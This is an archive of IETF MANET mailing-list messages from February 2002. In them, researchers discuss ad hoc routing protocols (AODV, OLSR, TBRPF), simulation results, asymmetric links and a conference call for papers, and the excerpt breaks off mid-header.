dD0idGV4dC9odG1sOyBjaGFyc2V0PWtzX2NfNTYwMS0xOTg3Ij4NCjxNRVRBIGNvbnRlbnQ9Ik1T SFRNTCA2LjAwLjI3MTIuMzAwIiBuYW1lPUdFTkVSQVRPUj4NCjxTVFlMRT48L1NUWUxFPg0KPC9I RUFEPg0KPEJPRFkgYmdDb2xvcj0jZmZmZmZmPg0KPERJVj48Rk9OVCBzaXplPTI+TXkgYXBvbG9n aWVzIGlmIHlvdSByZWNlaXZlIHRoaXMgZS1tYWlsIA0KZHVwbGljYXRlZC48QlI+LS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPC9GT05UPjwvRElWPg0KPERJ Vj4mbmJzcDs8L0RJVj4NCjxESVY+PEZPTlQgc2l6ZT0yPlRoZSBhY3JvbnltICJJV0FOMjAwMiIg aGFzIGJlZW4gY2hhbmdlZCB0byANCiJJV0FITjIwMDIiLjwvRk9OVD48L0RJVj4NCjxESVY+Jm5i c3A7PC9ESVY+DQo8RElWPjxGT05UIHNpemU9Mj5UaGVyZSBpcyBhIG5hbWUgY2xhY2ggYmV0d2Vl biBvdXIgd29ya3Nob3AsIElXQU4yMDAyIGFuZCB0aGUgDQpJbnRlcm5haW9uYWw8L0ZPTlQ+PC9E SVY+DQo8RElWPiZuYnNwOzwvRElWPg0KPERJVj48Rk9OVCBzaXplPTI+V29ya2luZyBDb25mZXJl bmNlIG9uIEFjdGl2ZSBOZXR3b3JrcyAoYWxzbyBJV0FOMjAwMiksIHRvIGJlIA0KaGVsZCBpbiBa dXJpY2ggPC9GT05UPjwvRElWPg0KPERJVj4mbmJzcDs8L0RJVj4NCjxESVY+PEZPTlQgc2l6ZT0y PmluIERlY2VtYmVyIDIwMDIsIHNvIHdlIGNhbm5vdCB1c2UgdGhlICJJV0FOMjAwMiI8L0ZPTlQ+ PC9ESVY+DQo8RElWPiZuYnNwOzwvRElWPjxGT05UIHNpemU9Mj4NCjxESVY+PEJSPlRoZSBhZGRy ZXNzIG9mIGhvbWUgcGFnZSBhbHNvIGhhcyBiZWVuIGNoYW5nZWQgYXMgZm9sbG93czwvRElWPg0K PERJVj4mbmJzcDs8L0RJVj4NCjxESVY+PEEgDQpocmVmPSJodHRwOi8vY2FsYWIua2Fpc3QuYWMu a3IvQ29uZi9JV0FITjIwMDIvIj5odHRwOi8vY2FsYWIua2Fpc3QuYWMua3IvQ29uZi9JV0FITjIw MDIvPC9BPjwvRElWPg0KPERJVj4mbmJzcDs8L0RJVj4NCjxESVY+PC9GT05UPiZuYnNwOzwvRElW PjwvQk9EWT48L0hUTUw+DQo= ------=_NextPart_000_06E7_01C1B874.4188B540-- From owner-manet@itd.nrl.navy.mil Mon Feb 18 16:03:45 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA18202 for ; Mon, 18 Feb 2002 16:03:45 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id NAA00040 for manet-outgoing; Mon, 18 Feb 2002 13:42:00 -0500 (EST) Received: from concorde.inria.fr (concorde.inria.fr [192.93.2.39]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id NAA00032 for ; Mon, 18 Feb 2002 13:41:57 -0500 (EST) Received: from zephyrin (zephyrin-wi.inria.fr [193.51.192.58]) by concorde.inria.fr (8.11.1/8.11.1) with SMTP id g1IIfr505170; Mon, 18 Feb 2002 19:41:53 +0100 (MET) Message-ID: <013f01c1b8ae$91292e60$3ac033c1@inria.fr> From: "Philippe Jacquet" To: , "Matt Read" Cc: References: <200202132050.MAA25942@koa.erg.sri.com> Subject: Re: Asymmetric links Date: Mon, 18 Feb 2002 20:00:43 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit Richard, You must be careful with your definition of symmetric/asymmetric links. In your draft you assume that a link is bidirectional even when it is made of two unidirectional interfaces. This may fail with IEEE 802.11 ACK feedback process. Please look at OLSR draft. Indeed you may meet weird situations (the most uncomfortable one is when a node receives the same interface from another node but on two different interfaces, among them one is asymmetric). Philippe ----- Original Message ----- From: To: Matt Read Cc: ; Sent: Wednesday, February 13, 2002 9:50 PM Subject: Re: Asymmetric links > > Matt, > > > Everyone, > > > > AODV breaks when this happens. As a relative newcomer to AODV, > > please pardon me if this has already been considered, but could the > > HELLO message include a list of the Neighbors from which the sender > > has recently heard HELLO's? Then if a node hears a HELLO in which > > it does not find itself listed, it could assume there is no link and > > not try to send directly to that node (sending RREQ's instead). > > (There will be scalability and other issues, of course.) > > > > - Matt > > Yes, by including a list of all neighbors in each HELLO, a node > can detect when a bidirectional link has become unidirectional. > This is what OSPF and OLSR do. But a more efficient way is to > use differential HELLOs (as in TBRPF), so that each HELLO contains > only the neighbors whose states have recently changed. > Perhaps AODV should also use differential HELLOs. > > Richard > > From owner-manet@itd.nrl.navy.mil Tue Feb 19 06:37:55 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA14449 for ; Tue, 19 Feb 2002 06:37:54 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id DAA08481 for manet-outgoing; Tue, 19 Feb 2002 03:57:36 -0500 (EST) Received: from p-mail2.rd.francetelecom.com (p-mail2.rd.francetelecom.com [193.49.124.32]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id DAA08476 for ; Tue, 19 Feb 2002 03:57:32 -0500 (EST) Received: by p-voyageur.rd.francetelecom.fr with Internet Mail Service (5.5.2653.19) id <1M4FAPWN>; Tue, 19 Feb 2002 09:57:19 +0100 Message-ID: <0489A7888F080B4BA73B53F7E145F29A03C054@LANMHS20.rd.francetelecom.fr> From: MEDDOUR Djamal Eddine thesard FTRD/DAC/LAN To: manet@itd.nrl.navy.mil Subject: others cretaria in MANET routing protocol Date: Tue, 19 Feb 2002 09:57:27 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/mixed; boundary="----=_NextPartTM-000-41c6dc48-246b-11d6-b1e5-00508b69ab48" Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------=_NextPartTM-000-41c6dc48-246b-11d6-b1e5-00508b69ab48 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C1B923.74DE28EA" ------_=_NextPart_001_01C1B923.74DE28EA Content-Type: text/plain; charset="x-user-defined" Hi all The criteria of the choice of the optimal route is the number of hops, do you think that it's sufficient? Why don't take in consideration some other criteria like traffic load around node, node energy, node capacity, ... Any comments ------_=_NextPart_001_01C1B923.74DE28EA Content-Type: text/html; charset="x-user-defined" Energy-aware broadcasting and multicasting

Hi all

The criteria of the choice of the optimal route is the number of hops, do you think that it's sufficient? Why don't take in consideration some other criteria like traffic load around node, node energy, node capacity, ...

Any comments

------_=_NextPart_001_01C1B923.74DE28EA-- ------=_NextPartTM-000-41c6dc48-246b-11d6-b1e5-00508b69ab48-- From owner-manet@itd.nrl.navy.mil Wed Feb 20 07:48:42 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA28865 for ; Wed, 20 Feb 2002 07:48:42 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA15511 for manet-outgoing; Wed, 20 Feb 2002 05:20:30 -0500 (EST) Received: from mailhost.cs.auc.dk (mailhost.cs.auc.dk [130.225.194.6]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA15506 for ; Wed, 20 Feb 2002 05:20:26 -0500 (EST) From: T.Clausen@computer.org Received: from localhost (root@micro.cs.auc.dk [130.225.194.68]) by mailhost.cs.auc.dk (8.12.2/8.12.2) with ESMTP id g1KAK9vU024503; Wed, 20 Feb 2002 11:20:18 +0100 (MET) Date: Wed, 20 Feb 2002 11:20:08 +0100 (CET) X-Sender: voop@armada To: "'ogier@erg.sri.com'" cc: manet@itd.nrl.navy.mil Subject: Re: performance comparaison between Ad Hoc routing protocols In-Reply-To: <200202131928.LAA14509@pit.erg.sri.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: 8BIT X-Scanned-By: MIMEDefang 2.2 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 8BIT Richard, I am not quite sure what to make from your simulations. It seems to me that they are from a network in overload condition - in which case buffer management has a critical impact on performance. We've been simulating OLSR in conditions, similar to those you've been showing, and our results differ significantly. We experience that a large abmount of (data and control) traffic in these situations are rejected from the various buffers. Dropping control-traffic in the various buffers due to overload should in fact result in (and, indeed, does in our simulations) *less* control traffic being sent on the medium, not more - as suggested by your results. A solution, obviously, is to use priority queues and to prioritize control traffic. However this is approaching an implementation issue, and is not something included in our code. So I am puzzled how you get the figures showing an increasing control traffic overhead when increasing the overload condition. Also, I notice that we obtain much less overhead for OLSR when counting MAC/IP overhead. Have you alterated the ns2 code to make it output more detailed information (e.g. physical overhead etc.) ? Please keep in mind that the ns2-code (version 3) of OLSR does not include features such as link hysteresis and loss link management for mobility conditions. I thins this is the case for AODV (version 2) as well (features not fully implemented, new features not present). Finally, I've been looking at your graphs, and I think that achieving optimal performance (for either of the manet protocols) is largely a matter of tuning protocol parameters. I noticed, for example, that the paraeters you used for tbrpf in the simulations differ from those specifyed in the draft. --thomas On Wed, 13 Feb 2002 ogier@erg.sri.com wrote: > > On Thu, 7 Feb 2002 Mahesh Marina wrote: > > > Your simulation results for AODV somehow were way off from what I have > > observed in the past. I was one of the people involved in the development > > of AODV code for ns2. > > > > You mention that the link-layer notification was turned off in your > > evaluations. I assumed that HELLOs were instead used for link > > detection/failure in AODV as well and looked at the piece of code for > > handling HELLOs. > > > I found that neighbor deletion (and therefore, link failure > > detection) was commented out inadvertently, perhaps during > > debugging. As most of our performance studies used link-layer feedback, > > this bug didn't show up. So, I was wondering whether AODV results would be > > same without this bug. > > I reran the ns-2 simulations for AODV with the above fix, > which improved the performance of AODV substantially in the > mobile scenarios (but not in the non-mobile scenarios). > To ensure fairness with TBRPF and OLSR, I also commented out > the following code in AODV so that no protocol is allowed > to retrieve packets from the interface queue (ifqueue): > > // Not sure whether this is the right thing to do > Packet *pkt; > while((pkt = ifqueue->filter(ih->saddr()))) { > drop(pkt, DROP_RTR_MAC_CALLBACK); > > (The above comment is by one of the AODV programmers, not me.) > > The simulation results can be found at the TBRPF web site: > http://www.erg.sri.com/projects/tbrpf/ > > The results are summarized below. Comments are welcome. > Note that TBRPF code for ns-2.1b8 is now available. > > Protocols compared: > > - AODV code for ns-2.1b8 > Available from http://www.cs.ucsb.edu/~eroyer/aodv.html > > - TBRPF code for ns-2.1b8 > Available from http://www.erg.sri.com/projects/tbrpf/sourcecode.html > Uses the same 'C' code as our Linux implementation > > - OLSR code for ns-2.1b7 > Available from http://hipercom.inria.fr/olsr/ > Bug affecting packet size was fixed. > > - In all protocols, link-layer failure notification was NOT used, and > packets could not be retrieved from the link layer (interface queue). > > Simulation model: > > - ns-2 version 2.1b8 > - WaveLAN IEEE 802.11 MAC with rate 2Mb/s and range 250m > - 50 and 100 nodes > - Two area sizes: 670m x 670m and 1500m x 300m > - Mobility model: No mobility, and random waypoint model with 0 pause > time and maximum speed 20 m/s. > - 20 simultaneous CBR traffic streams: > - Source and destination of each stream are selected randomly > - Duration of each stream is 30 seconds > - Size of each data packet is 512 bytes > - Packet generation rate per stream is increased from 2 to 8 packets/s > - Each simulation was run for 500 simulated seconds. > > Summary of results: > > - In every scenario, TBRPF achieved a higher delivery percentage (up to > 15% higher) than OLSR. TBRPF also achieved a higher delivery percentage > (up to 15% higher) than AODV in all scenarios with no mobility, and in > all scenarios using the square area (670x670) with the lower packet rates > (2 and 4 packets/s). For the long rectangular area (1500x300), AODV > achieved a higher delivery percentage (up to 5% higher) than TBRPF. > > - In every scenario, TBRPF generated less routing control traffic > than the other protocols: up to 60% less than OLSR and up to 48% > less than AODV. This is despite the fact that TBRPF sends > HELLOs twice as frequently as OLSR. > > - In every scenario, TBRPF used the shortest paths (except nearly shortest > in some cases with the higher packet rates). In every scenario, AODV > used paths that were 12-20% longer on average than TBRPF. > > - TBRPF usually had the best or nearly best delay. > > Remarks: > > - This study did not use link-layer failure notification. It is important > to also compare the protocols with link-layer notification, since this > allows one to achieve a delivery fraction close to 100%. > > - A comparison of TBRPF with AODV using link-layer notification can > also be found at the TBRPF web site. That comparison also compares > the protocols with 40 sources (which gives TBRPF more advantage). > > - A routing protocol that generates less control traffic and uses > shorter paths: > > - uses less energy, > - is more likely to scale to a larger number of nodes, > - is more likely to perform well in lower bandwidth radios such > as those used by the military. > > > ----------------------- > Richard Ogier > Sr. Research Engineer > SRI International > 333 Ravenswood Ave. > Menlo Park, CA 94025 > Tel: 650-859-4216 > Fax: 650-859-4812 > Email: ogier@erg.sri.com > ------------------------ > -- ------------------------------------------- Thomas Heide Clausen Civilingeniør i Datateknik (cand.polyt) M.Sc in Computer Engineering E-Mail: T.Clausen@computer.org WWW: http://www.cs.auc.dk/~voop ------------------------------------------- From owner-manet@itd.nrl.navy.mil Wed Feb 20 12:24:14 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA08737 for ; Wed, 20 Feb 2002 12:24:14 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id KAA24499 for manet-outgoing; Wed, 20 Feb 2002 10:03:59 -0500 (EST) Received: from enterprise.atl.lmco.com (mail.atl.external.lmco.com [192.35.37.50]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id KAA24491 for ; Wed, 20 Feb 2002 10:03:55 -0500 (EST) Received: from misty.atl.lmco.com (misty [166.17.242.243]) by enterprise.atl.lmco.com (Postfix) with ESMTP id 20690C1CED for ; Wed, 20 Feb 2002 10:03:45 -0500 (EST) Received: (from cwinters@localhost) by misty.atl.lmco.com (8.11.2/8.11.2) id g1KF3j615287 for manet@itd.nrl.navy.mil; Wed, 20 Feb 2002 10:03:45 -0500 Date: Wed, 20 Feb 2002 10:03:45 -0500 From: Chuck Winters To: manet@itd.nrl.navy.mil Subject: Ad-Hoc Analysis Message-ID: <20020220150345.GC15039@atl.lmco.com> Mail-Followup-To: manet@itd.nrl.navy.mil Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.27i Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Hello All, I was wondering if someone could point me to some information on network performance analysis in Ad-Hoc networks? I am not looking for simulation, but for real testing. Thanks, Chuck -- Chuck Winters | Email: cwinters@atl.lmco.com Distributed Processing Laboratory | Phone: 856-338-3987 Lockheed Martin Advanced Technology Labs | 1 Federal St - A&E-3W | Camden, NJ 08102 | From owner-manet@itd.nrl.navy.mil Wed Feb 20 16:34:39 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA21074 for ; Wed, 20 Feb 2002 16:34:38 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id OAA06908 for manet-outgoing; Wed, 20 Feb 2002 14:10:30 -0500 (EST) Received: from den.erg.sri.com (den.erg.sri.com [128.18.100.23]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id OAA06900 for ; Wed, 20 Feb 2002 14:10:20 -0500 (EST) Received: from den.erg.sri.com (localhost [127.0.0.1]) by den.erg.sri.com (8.9.3+Sun/8.9.1) with ESMTP id LAA07614; Wed, 20 Feb 2002 11:09:50 -0800 (PST) Message-Id: <200202201909.LAA07614@den.erg.sri.com> To: T.Clausen@computer.org cc: "'ogier@erg.sri.com'" , manet@itd.nrl.navy.mil Reply-To: ogier@erg.sri.com From: ogier@erg.sri.com Subject: Re: performance comparaison between Ad Hoc routing protocols In-reply-to: Your message of "Wed, 20 Feb 2002 11:20:08 +0100." Date: Wed, 20 Feb 2002 11:09:50 -0800 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Thomas, > Richard, > > I am not quite sure what to make from your simulations. It seems to me > that they are from a network in overload condition - in which case buffer > management has a critical impact on performance. We've been simulating > OLSR in conditions, similar to those you've been showing, and our results > differ significantly. We experience that a large abmount of (data and > control) traffic in these situations are rejected from the various > buffers. I considered four packet rates: 2, 4, 6, and 8 packets/s. The latter two are indeed usually an overload condition (except that TBRPF sometimes did very well with 6 packets/s), but 2 packets/s is certainly NOT. > Dropping control-traffic in the various buffers due to overload should in > fact result in (and, indeed, does in our simulations) *less* control > traffic being sent on the medium, not more - as suggested by your results. > A solution, obviously, is to use priority queues and to prioritize control > traffic. However this is approaching an implementation issue, and is not > something included in our code. So I am puzzled how you get the figures > showing an increasing control traffic overhead when increasing the > overload condition. To ensure that the protocols were compared on a fair basis, since AODV and TBRPF gave control traffic higher priority than data traffic, we did the same for OLSR. It has long been considered a good idea to give control traffic higher priority. This could explain why your results differ from mine. You can do this simply by adding the line case PT_OLSR: to the function PriQueue::recv() in priqueue.cc. > Also, I notice that we obtain much less overhead for OLSR when counting > MAC/IP overhead. Have you alterated the ns2 code to make it output more > detailed information (e.g. physical overhead etc.) ? No we did not. In addition to the 20-byte IP header, ns2 adds 52 bytes at the MAC layer. > Please keep in mind that the ns2-code (version 3) of OLSR does not include > features such as link hysteresis and loss link management for mobility > conditions. I thins this is the case for AODV (version 2) as well > (features not fully implemented, new features not present). Yes. Please let me know when OLSR code is available that has these new features. Regarding hysteresis, this is a feature that can be used by either OLSR or TBRPF. For example, TBRPF can use the same EWMA hysteresis technique used by OLSR if it helps performance. > Finally, I've been looking at your graphs, and I think that achieving > optimal performance (for either of the manet protocols) is largely a > matter of tuning protocol parameters. I noticed, for example, that the > paraeters you used for tbrpf in the simulations differ from those > specifyed in the draft. We also tried using the parameter values in the draft, but the difference in performance was only slight. Note that we used the same parameter values for all scenarios, so we did not tune the parameters to each scenario. Richard From owner-manet@itd.nrl.navy.mil Wed Feb 20 16:34:42 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA21087 for ; Wed, 20 Feb 2002 16:34:42 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id OAA07319 for manet-outgoing; Wed, 20 Feb 2002 14:18:02 -0500 (EST) Received: from mmlab.snu.ac.kr (mmlab.snu.ac.kr [147.46.114.112]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id OAA07309 for ; Wed, 20 Feb 2002 14:17:57 -0500 (EST) Received: (from pretty@localhost) by mmlab.snu.ac.kr (8.11.6/8.11.6) id g1KJKKO26945 for manet@itd.nrl.navy.mil; Thu, 21 Feb 2002 04:20:20 +0900 (KST) (envelope-from pretty) From: pretty Message-Id: <200202201920.g1KJKKO26945@mmlab.snu.ac.kr> Subject: Extended Submission Deadline (IEEE SAWN 2002) : March 18 To: manet@itd.nrl.navy.mil Date: Thu, 21 Feb 102 04:20:20 +0900 (KST) X-Mailer: ELM [version 2.4 PL25-h4.1] MIME-Version: 1.0 Content-Type: text/plain; charset=EUC-KR Content-Transfer-Encoding: 8bit Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 8bit Extended Submission Deadline !!! : March 18, 2002 * Apologize if you receive multiple copies of this announcement ! Please feel free to distribute a copy of this CFP to those who might be interested. ======================================================================= The Second Symposium on Ad Hoc Wireless Networks (SAWN2002) in conjunction with IEEE GLOBECOM 2002. November 17 - 21, 2002. Taipei, Taiwan, R.O.C. http://mmlab.snu.ac.kr/~pretty/sawn/sawn02.html ----------------------------------------------------------- CALL FOR PAPERS Objectives The IEEE Symposium on Ad-Hoc Wireless Networks (SAWN2002) is a new and high quality technical meeting (to be held as part of IEEE GLOBECOM 2002) for researchers to present their latest research work related to the fast evolving field of ad hoc (multihop, adaptive, and self-organizing) wireless networks and pervasive communications. Such networks could have strong potential impact on our daily lives (for example at home and on-the-road) and the way we work. They are also particularly attractive for military and emergency operations due to their fast deployable and self-organizing characteristics. Future ad hoc networks are also capable of supporting multimedia. High quality papers are invited from researchers in academia and industries who are involved in this area of work. Submissions Submissions are welcomed in any area related ad hoc wireless networks. The topics os interest include, but are not limited to : * Ad Hoc Routing Protocols/Algorithms * Ad Hoc Multicasting Protocols/Algorithms * Ad Hoc Transport Issues * Service Discovery Algorithms * Media Access Techniques/Protocols * Low Power Algorithms and Protocols * Sensor & Data Fusion Ad Hoc Networks * Quality of Service Issues * Ad Hoc Network Architectures * Mobile IP with Ad Hoc * Error & Link Control Techniques * Performance of Bluetooth Networks * Access & Session Support * Integration Issues Technical papers should be submitted to the Globecom Committee following the general Globecom submission process and instructions. In order to ensure that your paper is properly routed to this Symposium, it is VERY IMPORTANT that you explicitly identify "Symposium on Ad Hoc Wireless Networks" as the intended symposium to which you are submitting the paper. Failure to do so may result in your paper being forwarded to another symposium. All submissions will be made electronically and accepted papers will be published with GLOBECOM proceedings. Papers of particular merit may be considered for journal publications. Important Dates =============== Extended Submission Deadline : March 18, 2002 Acceptance Notification : June 30, 2002 Camera Ready Paper Due : August 15, 2002 All inquires should be directed to the symposium chairman at dkkim@jade.snu.ac.kr or pretty@mmlab.snu.ac.kr Paper that are more than 5 pages are allowed but once they are accepted for publication, the author/s must be prepared to pay for additional page charges. SAWN 2002 Technical Program Chair Dr. Dongkyun Kim Seoul National University Steering Committee Members Prof. Victor Li University of Hong Kong Dr. Justin Chuang MobilinkTel USA Prof. C-K. Toh (Steering Committee Chair) Technical Program Committee Members Dr. Kenneth Brayer MITRE, USA Prof. Elvino S. Sousa Univ. of Toronto, Canada Dr. Silvia. Giordano EPFL, Switzerland Prof. Bo Li Hongkong UST Dr. Chip Elliott BBN, USA Dr. Eric Fleury INRIA, France Prof. Nick Bambos Stanford U, USA Prof. Znati, Taieb NSF/Pittsburg U Syed Akbar TRW, USA Prof. Khaled Ben Letaief Hongkong UST Prof. Halim Yanikomeroglu Carleton U, Canada Dr. Yile Guo NOKIA, USA Prof. Adam Wolisz TU-berlin, Germany Dr. Nader Moayeri NIST, USA Prof. Y.H. Choi Seoul National Univ., Korea Dr. Chih-Lin I AT & T, USA Prof. K.C. Chen NTU, Taiwan Dr. Howard Lemberg Telcordia, USA Prof. Hussein Mouftah Queens University, Canada Prof. Jean-Yves Le-Boudec EPFL, Switzerland Dr. Bassam Hashem Nortel Networks Dr. PeiYing Zhu Nortel Networks Dr. Chatschik Bisdikian IBM Watson Lab. Prof. Per Gunningberg Uppsala U, Sweden From owner-manet@itd.nrl.navy.mil Thu Feb 21 09:35:35 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA18512 for ; Thu, 21 Feb 2002 09:35:35 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id HAA27361 for manet-outgoing; Thu, 21 Feb 2002 07:10:10 -0500 (EST) Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id HAA27353 for ; Thu, 21 Feb 2002 07:10:07 -0500 (EST) Received: from esvir03nok.nokia.com (esvir03nokt.ntc.nokia.com [172.21.143.35]) by mgw-x2.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id g1LCAEZ10089 for ; Thu, 21 Feb 2002 14:10:14 +0200 (EET) Received: from esebh002.NOE.Nokia.com (unverified) by esvir03nok.nokia.com (Content Technologies SMTPRS 4.2.5) with ESMTP id ; Thu, 21 Feb 2002 14:10:04 +0200 Received: from mgw.research.nokia.com ([172.21.33.76]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.3779); Thu, 21 Feb 2002 14:10:04 +0200 Received: from nokia.com (hed036-224.research.nokia.com [172.21.36.224]) by mgw.research.nokia.com (8.9.3/8.9.3) with ESMTP id OAA20355; Thu, 21 Feb 2002 14:10:03 +0200 (EET) X-Authentication-Warning: mgw.research.nokia.com: Host hed036-224.research.nokia.com [172.21.36.224] claimed to be nokia.com Message-ID: <3C74E3D8.4040006@nokia.com> Date: Thu, 21 Feb 2002 14:11:04 +0200 From: Manel Guerrero Zapata User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.7) Gecko/20020203 X-Accept-Language: en MIME-Version: 1.0 To: Aodvimpl-Public , manet , "Perkins Charles (IPRG)" , "ext Elizabeth M. Belding-Royer" Subject: Route expiry in AODV v10 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 21 Feb 2002 12:10:04.0675 (UTC) FILETIME=[B214B530:01C1BAD0] Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit Hi everybody :) Correct me if I'm mistaken: The former 'Route Expiry and Route Deletion' section has been merged with the 'Route Error messages'. And now the draft is wroten in such a way that the actions to be taken when a route expires are only taken when a RRER is generated. And, this is wrong because a route can expire just because it times out. Am I missing something? BR/Manel Guerrerro From owner-manet@itd.nrl.navy.mil Fri Feb 22 01:09:36 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA14999 for ; Fri, 22 Feb 2002 01:09:36 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id WAA26573 for manet-outgoing; Thu, 21 Feb 2002 22:43:02 -0500 (EST) Received: from cms3.etri.re.kr (cms3.etri.re.kr [129.254.16.13]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id WAA26568 for ; Thu, 21 Feb 2002 22:42:54 -0500 (EST) From: paul@etri.re.kr Received: by cms3.etri.re.kr with Internet Mail Service (5.5.2653.19) id ; Fri, 22 Feb 2002 12:43:50 +0900 Message-ID: <8470181DABD5D511B3E700D0B7A8AC4A96242F@cms3.etri.re.kr> To: charliep@iprg.nokia.com, manet@itd.nrl.navy.mil Cc: adhoc@krv6.net Subject: Question of AODV Date: Fri, 22 Feb 2002 12:43:50 +0900 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C1BB53.23D2C5E0" Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C1BB53.23D2C5E0 Content-Type: text/plain; charset="euc-kr" Hello, I am a researcher of ETRI in Korea. I have a plan to implement IPv6 AODV and Multicast routing protocol of AODV. I would like to know the status related to IPv6 AODV and AODV Multicast routing protocol. I also want to know if MANET WG will produce RFCs of IPv6 AODV and AODV Multicast routing protocol. Could anyone comment? Thanks a lot. Regards, Jaehoon ------_=_NextPart_001_01C1BB53.23D2C5E0 Content-Type: text/html; charset="euc-kr" Question of AODV

Hello,

I am a researcher of ETRI in Korea.
I have a plan to implement IPv6 AODV and Multicast routing protocol of AODV.
I would like to know the status related to IPv6 AODV and AODV Multicast routing protocol.
I also want to know if MANET WG will produce RFCs of IPv6 AODV and AODV Multicast routing protocol.
Could anyone comment?
Thanks a lot.

Regards,
Jaehoon

------_=_NextPart_001_01C1BB53.23D2C5E0-- From owner-manet@itd.nrl.navy.mil Fri Feb 22 01:26:08 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA15121 for ; Fri, 22 Feb 2002 01:26:07 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id XAA27194 for manet-outgoing; Thu, 21 Feb 2002 23:22:39 -0500 (EST) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id XAA27189 for ; Thu, 21 Feb 2002 23:22:35 -0500 (EST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id UAA11286; Thu, 21 Feb 2002 20:22:28 -0800 (PST) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id g1M4MRw07596; Thu, 21 Feb 2002 20:22:27 -0800 X-mProtect: Thu, 21 Feb 2002 20:22:27 -0800 Nokia Silicon Valley Messaging Protection Received: from maxdialin9.iprg.nokia.com (205.226.20.239, claiming to be "iprg.nokia.com") by darkstar.iprg.nokia.com smtpdjwS1gj; Thu, 21 Feb 2002 20:22:25 PST Message-ID: <3C75C71F.825EB18E@iprg.nokia.com> Date: Thu, 21 Feb 2002 20:20:47 -0800 From: Charlie Perkins Organization: Nokia X-Mailer: Mozilla 4.75 [en]C-CCK-MCD {Nokia} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: paul@etri.re.kr CC: manet@itd.nrl.navy.mil, adhoc@krv6.net Subject: 